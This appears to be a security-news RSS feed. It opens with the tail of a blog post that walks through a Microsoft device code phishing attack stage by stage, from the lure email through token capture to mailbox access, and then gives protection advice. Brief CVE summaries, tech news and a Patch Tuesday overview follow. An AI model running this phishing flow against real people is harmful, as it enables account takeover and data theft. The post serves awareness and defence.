sign-in activity and encourages them to secure their account immediately.</p><p>The email closely resembles legitimate Microsoft security notifications, making it difficult for many users to distinguish between genuine and malicious messages.</p><p>Instead of directing users to a fake Microsoft login page, the email redirects them to an attacker-controlled website.</p><p>This subtle difference is what makes Device Code Phishing particularly dangerous.</p><p><strong>Stage 2 — The Fake Verification Portal</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AojoCLPiwGgkLGcDH88gRA.png"><figcaption>Device Code Phishing Page</figcaption></figure><p>After clicking the email link, the victim is presented with what appears to be a Microsoft verification portal.</p><p>The page displays:</p><ul><li>A Microsoft verification code</li><li>Instructions explaining how to complete authentication</li><li>A button that automatically opens Microsoft’s legitimate Device Login page</li></ul><p>Everything appears authentic.</p><p>Unlike credential phishing pages, this website never asks the user for their Microsoft username or password.</p><p>Instead, it simply instructs the user to authenticate through Microsoft itself.</p><p>This dramatically increases trust.</p><p><strong>Stage 3 — Redirecting to Microsoft’s Official Login Page</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vxT4KVaMxg7heCzDMx58Bg.png"><figcaption>Official Microsoft Device Login</figcaption></figure><p>Clicking the verification button redirects the victim to Microsoft’s official Device Login page.</p><p>Notice the URL.</p><p>The browser clearly displays Microsoft’s legitimate domain: login.microsoftonline.com</p><p>This is not a fake login page.</p><p>This is Microsoft’s real authentication portal.</p><p>Since users are interacting directly with Microsoft, many security-conscious individuals believe the request is legitimate.</p><p><strong>Stage 4 — Entering the Device Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wFq44SaoP4Gcy7Y_7QxXHA.png"><figcaption>Microsoft Device Authentication</figcaption></figure><p>The victim enters the code displayed on the phishing website into Microsoft’s official authentication page.</p><p>At this point, everything still appears normal.</p><p>The authentication process is entirely handled by Microsoft.</p><p>No passwords have been stolen.</p><p>No fake login page has been displayed.</p><p>Yet the attacker is already one step closer to gaining access.</p><p><strong>Stage 5 — Microsoft Requests Account Authorization</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-3m7P_UTRW5Zprk35ydVMA.png"><figcaption>Account Selection</figcaption></figure><p>Once the code is accepted, Microsoft asks the victim to select the account they wish to authorize.</p><p>Again, this occurs entirely on Microsoft’s legitimate infrastructure.</p><p>Nothing appears suspicious.</p><p>Most users assume they are completing a routine Microsoft verification process.</p><p><strong>Stage 6 — Granting Access</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ew9Rlt7lKtc3NSjGugG7CQ.png"><figcaption>Authorization Prompt</figcaption></figure><p>Microsoft now asks the user to confirm the authentication request.</p><p>The victim clicks <strong>Continue</strong>, believing they are protecting or verifying their Microsoft account.</p><p>Instead, they are unknowingly authorizing an attacker-controlled application.</p><p><strong>Stage 7 — Authentication Complete</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KyN4hx6sY5t0rM_KDsBFw.png"><figcaption>Successful Authorization</figcaption></figure><p>Microsoft confirms that authentication has completed successfully.</p><p>From the victim’s perspective, everything appears perfectly normal.</p><p>There are no error messages.</p><p>No warnings.</p><p>No indication that their Microsoft session has now been shared with someone else.</p><h4>Stage 8 — The Attacker Receives the Access Token</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNu8X_BbbhhP4XFhhrqC6Q.png"><figcaption>Attacker Token Captured dashboard</figcaption></figure><p>Behind the scenes, the attacker’s phishing infrastructure immediately receives the Microsoft access token generated during the authentication process.</p><p>Unlike traditional phishing attacks, the attacker never needed the victim’s password.</p><p>Instead, they now possess a valid Microsoft authentication token issued directly by Microsoft.</p><p><strong>Stage 9 — Accessing Microsoft Resources</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hqRMWz0deomvWmiCV1QAag.png"><figcaption>Searching Microsoft Graph Data</figcaption></figure><p>Using the captured token, the attacker can begin interacting with Microsoft Graph APIs according to the permissions granted during authentication.</p><p>Depending on the permissions available, this may allow access to resources such as:</p><ul><li>Outlook email</li><li>OneDrive files</li><li>SharePoint data</li><li>Microsoft Teams information</li><li>Other Microsoft 365 resources</li></ul><p>In our demonstration, the captured token is used to search mailbox content, illustrating how quickly authenticated access can be abused after the victim completes the authorization process.</p><h3>Why Device Code Phishing Is So Effective</h3><p>Traditional phishing relies on fake login pages.</p><p>Device Code Phishing is different.</p><p>The victim authenticates directly with Microsoft.</p><p>Every important step occurs on Microsoft’s legitimate domain.</p><p>This removes many of the indicators users have been trained to recognize.</p><p>There are:</p><ul><li>No fake Microsoft login pages.</li><li>No stealing of passwords.</li><li>No cloned authentication forms.</li><li>No obvious browser warnings.</li></ul><p>Instead, attackers exploit the trust users place in Microsoft’s legitimate authentication process.</p><h3>Why This Matters</h3><p>Modern phishing campaigns are evolving beyond simple credential theft. By abusing legitimate authentication workflows, attackers can obtain valid access tokens without ever knowing a user’s password. This makes Device Code Phishing particularly attractive because it blends legitimate authentication with social engineering. Organizations relying solely on user awareness around fake login pages may find these attacks significantly more difficult to detect.</p><h3>How to Protect Yourself</h3><p>Although Device Code Authentication is a legitimate Microsoft feature, there are several ways users can protect themselves from Device Code Phishing attacks.</p><h4>Never authenticate unless you initiated the request.</h4><p>If you receive an unexpected email asking you to verify your Microsoft account using a device code, stop and verify the request before proceeding.</p><h4>Check why you are being asked to authenticate.</h4><p>Ask yourself:</p><ul><li>Did I start this login?</li><li>Am I trying to sign in on another device?</li><li>Was I expecting this authentication request?</li></ul><p>If the answer is no, do not continue.</p><h4>Be cautious of urgent security emails.</h4><p>Threat actors frequently use messages about unusual sign-in activity, account suspension, or urgent verification to pressure victims into acting quickly.</p><h4>Review recently authorized applications.</h4><p>Regularly review the applications connected to your Microsoft account and remove any unfamiliar or unnecessary authorizations.</p><h4>Revoke active sessions if you suspect compromise.</h4><p>If you believe you accidentally completed a Device Code Phishing request:</p><ul><li>Immediately sign out of all active Microsoft sessions.</li><li>Revoke recently granted application permissions.</li><li>Change your Microsoft account password.</li><li>Inform your organization’s IT or Security team.</li><li>Review your recent sign-in activity for any suspicious access.</li></ul><p>Acting quickly can significantly reduce the impact of token-based attacks.</p><h3>Conclusion</h3><p>Device Code Phishing demonstrates that modern phishing attacks no longer need to steal passwords to be successful.</p><p>By abusing Microsoft’s legitimate Device Code authentication workflow, attackers can trick users into authorizing malicious applications while every authentication step takes place on Microsoft’s official infrastructure.</p><p>This makes the attack highly convincing, difficult for users to recognize, and increasingly relevant in modern phishing campaigns.</p><p>Understanding how this technique works is the first step toward recognizing suspicious authentication requests and preventing unauthorized access to Microsoft 365 environments.</p><p>As attackers continue to shift toward token-based authentication abuse, user awareness remains one of the most effective defenses against these evolving phishing techniques.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfa189643f45" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without-cfa189643f45">Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Google Cloud’s Always-On Memory Agent Replaces RAG and Embeddings With Continuous LLM Consolidation on Gemini 3.1 Flash-Lite]]></title>
<description><![CDATA[Google Cloud's generative-ai repository ships the Always-On Memory Agent, a reference implementation that treats memory as a running process. Built on Google ADK and Gemini 3.1 Flash-Lite, it uses no vector database and no embeddings. Instead, an orchestrator routes to Ingest, Consolidate, and Qu...]]></description>
<link>https://tsecurity.de/de/3677665/ai-nachrichten/google-clouds-always-on-memory-agent-replaces-rag-and-embeddings-with-continuous-llm-consolidation-on-gemini-31-flash-lite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677665/ai-nachrichten/google-clouds-always-on-memory-agent-replaces-rag-and-embeddings-with-continuous-llm-consolidation-on-gemini-31-flash-lite/</guid>
<pubDate>Sat, 18 Jul 2026 10:03:42 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google Cloud's generative-ai repository ships the Always-On Memory Agent, a reference implementation that treats memory as a running process. Built on Google ADK and Gemini 3.1 Flash-Lite, it uses no vector database and no embeddings. Instead, an orchestrator routes to Ingest, Consolidate, and Query sub-agents that read, connect, and write structured memory into SQLite 24/7.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/18/google-clouds-always-on-memory-agent-replaces-rag-and-embeddings-with-continuous-llm-consolidation-on-gemini-3-1-flash-lite/">Google Cloud’s Always-On Memory Agent Replaces RAG and Embeddings With Continuous LLM Consolidation on Gemini 3.1 Flash-Lite</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[CVE-2026-55410 | NocoBase up to 2.1.18 Backup Management _metadata.json exec database.schema os command injection (EUVD-2026-44804)]]></title>
<description><![CDATA[A vulnerability was found in NocoBase up to 2.1.18 and classified as problematic. This vulnerability affects the function exec of the file _metadata.json of the component Backup Management. The manipulation of the argument database.schema results in os command injection.

This vulnerability is ca...]]></description>
<link>https://tsecurity.de/de/3677630/sicherheitsluecken/cve-2026-55410-nocobase-up-to-2118-backup-management-metadatajson-exec-databaseschema-os-command-injection-euvd-2026-44804/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677630/sicherheitsluecken/cve-2026-55410-nocobase-up-to-2118-backup-management-metadatajson-exec-databaseschema-os-command-injection-euvd-2026-44804/</guid>
<pubDate>Sat, 18 Jul 2026 09:38:55 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/product/nocobase">NocoBase up to 2.1.18</a> and classified as <a href="https://vuldb.com/kb/risk">problematic</a>. This vulnerability affects the function <code>exec</code> of the file <em>_metadata.json</em> of the component <em>Backup Management</em>. The manipulation of the argument <em>database.schema</em> results in os command injection.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-55410">CVE-2026-55410</a>. The attack may be launched remotely. There is no exploit available.]]></content:encoded>
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<title><![CDATA[CVE-2022-3634 | Contact Form 7 Database Addon Plugin up to 1.2.6.4 on WordPress csv injection (EUVD-2022-42994)]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Contact Form 7 Database Addon Plugin up to 1.2.6.4 on WordPress. Affected is an unknown function. Such manipulation leads to csv injection.

This vulnerability is referenced as CVE-2022-3634. The attack needs to be initiated within the loca...]]></description>
<link>https://tsecurity.de/de/3677291/sicherheitsluecken/cve-2022-3634-contact-form-7-database-addon-plugin-up-to-1264-on-wordpress-csv-injection-euvd-2022-42994/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677291/sicherheitsluecken/cve-2022-3634-contact-form-7-database-addon-plugin-up-to-1264-on-wordpress-csv-injection-euvd-2022-42994/</guid>
<pubDate>Sat, 18 Jul 2026 03:09:16 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/contact_form_7_database_addon_plugin">Contact Form 7 Database Addon Plugin up to 1.2.6.4</a> on WordPress. Affected is an unknown function. Such manipulation leads to csv injection.

This vulnerability is referenced as <a href="https://vuldb.com/cve/CVE-2022-3634">CVE-2022-3634</a>. The attack needs to be initiated within the local network. No exploit is available.

The affected component should be upgraded.]]></content:encoded>
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<title><![CDATA[How to Make a Graph on Google Sheets Without Hassle]]></title>
<description><![CDATA[Learning how to make a graph on Google Sheets is one of the most useful skills for anyone working with spreadsheet data. Have you ever worked on a spreadsheet with a clustered appearance that makes you wonder if your recipients will ever understand the information conveyed therein? That’s why you...]]></description>
<link>https://tsecurity.de/de/3677152/betriebssysteme/how-to-make-a-graph-on-google-sheets-without-hassle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677152/betriebssysteme/how-to-make-a-graph-on-google-sheets-without-hassle/</guid>
<pubDate>Sat, 18 Jul 2026 00:24:40 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Learning how to make a graph on Google Sheets is one of the most useful skills for anyone working with spreadsheet data. Have you ever worked on a spreadsheet with a clustered appearance that makes you wonder if your recipients will ever understand the information conveyed therein? That’s why you need a chart to simplify […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/web/how-to-make-a-graph-on-google-sheets/">How to Make a Graph on Google Sheets Without Hassle</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
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<title><![CDATA[Billing Software Error Sends Billion-Dollar AWS Estimates]]></title>
<description><![CDATA[AWS says a billing software bug caused some customers to see wildly inflated estimated charges, including reports of accounts showing bills in the billions or even trillions of dollars. The Register reports: An open issue on the AWS Health Dashboard (archived copy at the time of writing) popped u...]]></description>
<link>https://tsecurity.de/de/3677044/it-security-nachrichten/billing-software-error-sends-billion-dollar-aws-estimates/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677044/it-security-nachrichten/billing-software-error-sends-billion-dollar-aws-estimates/</guid>
<pubDate>Fri, 17 Jul 2026 23:08:23 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[AWS says a billing software bug caused some customers to see wildly inflated estimated charges, including reports of accounts showing bills in the billions or even trillions of dollars. The Register reports: An open issue on the AWS Health Dashboard (archived copy at the time of writing) popped up at 1:33 am Pacific time on Friday informing users that Cost Explorer was "reflecting inaccurate estimated billing data." As of writing, the issue is still unresolved despite AWS trying several different things to get it fixed. The company apparently identified the root cause within an hour and a half of beginning its investigation, only describing it as "an issue with unit pricing within the estimated billing computation subsystem."
 
AWS followed up by pausing estimated bill updates, saying customers would continue to see the inflated figures already displayed, but that those estimates would not increase further. "The displayed billing estimates do not reflect actual usage and charges," AWS explained, noting that customers don't need to take any action, like, we imagine, flooding the help portal with tickets telling them what they already know, for instance.
 
"Once the issue has been mitigated, we expect full resolution to take multiple hours as we work through recomputing the estimated billing data," AWS added. After we first published this article, Amazon updated the issue page to indicate that it had identified the root cause and mitigated the underlying issue. The company says that it's begun backfilling data in the Cost Management Console to correct billing numbers, and that all customers should see corrected amounts by Saturday, July 18 at noon pacific time.<p></p><div class="share_submission">
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</div><p><a href="https://news.slashdot.org/story/26/07/17/1835215/billing-software-error-sends-billion-dollar-aws-estimates?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[OnlyFans performers become unlikely allies of CISOs in securing websites]]></title>
<description><![CDATA[CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.



For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website a...]]></description>
<link>https://tsecurity.de/de/3676773/it-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676773/it-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</guid>
<pubDate>Fri, 17 Jul 2026 20:03:02 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.</p>



<p class="wp-block-paragraph">For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website as bait to attract victims.</p>



<p class="wp-block-paragraph">Now, according to security researchers at Upguard, <a href="https://www.upguard.com/breaches/adult-supervision-how-onlyfans-takedowns-quietly-police-compromised-domains" target="_blank" rel="noreferrer noopener">the fightback has begun</a>: creators of adult content on OnlyFans are leveraging Google search results and the protection offered by copyright law to break up the traffic distribution systems created by bad actors.</p>



<p class="wp-block-paragraph">These distribution systems work in three stages: entry points using adult or other content to attract and capture web traffic, a routing system sends it to destination sites, and those sites monetize the traffic through scams and malware. It has proved to be a lucrative business for the scammers.</p>



<p class="wp-block-paragraph">Google recognizes the approach and calls such actors SEO parasites as they benefit from the reputations of other organizations — in particular government or academic sites, which Google views as having high authority.</p>



<p class="wp-block-paragraph">Since the creators of OnlyFans content are also the copyright holders, they are able to issue Digital Millennium Copyright Act (DMCA) take-down notices for the stolen content posted by the bad actors to other sites. Upguard was able to track this through <a href="https://transparencyreport.google.com/copyright/overview" target="_blank" rel="noreferrer noopener">Google’s DMCA Transparency Report</a>, and through the <a href="https://lumendatabase.org/" target="_blank" rel="noreferrer noopener">Lumen Database</a>, another tracker of takedown notices, to which it was granted research access.</p>



<p class="wp-block-paragraph">“This allows us to identify likely compromised sites: government and university domains advertising unlicensed adult content,” Upguard said.</p>



<p class="wp-block-paragraph">The OnlyFans creators’ action has two benefits for the operators of the affected websites: The adult content associated with their domain disappears from Google search results, no longer affecting their reputation — and if they receive takedown notices for such content they can check their webservers for the vulnerabilities that enabled the bad actors to post it there in the first place.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.csoonline.com/article/4198478/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites.html">CSO</a>.</em></p>
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<title><![CDATA[OnlyFans performers become unlikely allies of CISOs in securing websites]]></title>
<description><![CDATA[CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.



For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website a...]]></description>
<link>https://tsecurity.de/de/3676724/it-security-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676724/it-security-nachrichten/onlyfans-performers-become-unlikely-allies-of-cisos-in-securing-websites/</guid>
<pubDate>Fri, 17 Jul 2026 19:38:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">CISOs at government organizations and universities have an unexpected ally coming to their aid: OnlyFans models.</p>



<p class="wp-block-paragraph">For some time, hackers have exploited weaknesses in the websites of universities or government departments to host scams or malware, using content stolen from the OnlyFans website as bait to attract victims.</p>



<p class="wp-block-paragraph">Now, according to security researchers at Upguard, <a href="https://www.upguard.com/breaches/adult-supervision-how-onlyfans-takedowns-quietly-police-compromised-domains" target="_blank" rel="noreferrer noopener">the fightback has begun</a>: creators of adult content on OnlyFans are leveraging Google search results and the protection offered by copyright law to break up the traffic distribution systems created by bad actors.</p>



<p class="wp-block-paragraph">These distribution systems work in three stages: entry points using adult or other content to attract and capture web traffic, a routing system sends it to destination sites, and those sites monetize the traffic through scams and malware. It has proved to be a lucrative business for the scammers.</p>



<p class="wp-block-paragraph">Google recognizes the approach and calls such actors SEO parasites as they benefit from the reputations of other organizations — in particular government or academic sites, which Google views as having high authority.</p>



<p class="wp-block-paragraph">Since the creators of OnlyFans content are also the copyright holders, they are able to issue Digital Millennium Copyright Act (DMCA) take-down notices for the stolen content posted by the bad actors to other sites. Upguard was able to track this through <a href="https://transparencyreport.google.com/copyright/overview" target="_blank" rel="noreferrer noopener">Google’s DMCA Transparency Report</a>, and through the <a href="https://lumendatabase.org/" target="_blank" rel="noreferrer noopener">Lumen Database</a>, another tracker of takedown notices, to which it was granted research access.</p>



<p class="wp-block-paragraph">“This allows us to identify likely compromised sites: government and university domains advertising unlicensed adult content,” Upguard said.</p>



<p class="wp-block-paragraph">The OnlyFans creators’ action has two benefits for the operators of the affected websites: The adult content associated with their domain disappears from Google search results, no longer affecting their reputation — and if they receive takedown notices for such content they can check their webservers for the vulnerabilities that enabled the bad actors to post it there in the first place.</p>
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<title><![CDATA[July’s Patch Tuesday sees an end-of-support collision amidst a massive, record-setting patch wave]]></title>
<description><![CDATA[Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in Active Directory Federation Se...]]></description>
<link>https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676568/it-nachrichten/julys-patch-tuesday-sees-an-end-of-support-collision-amidst-a-massive-record-setting-patch-wave/</guid>
<pubDate>Fri, 17 Jul 2026 18:08:18 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



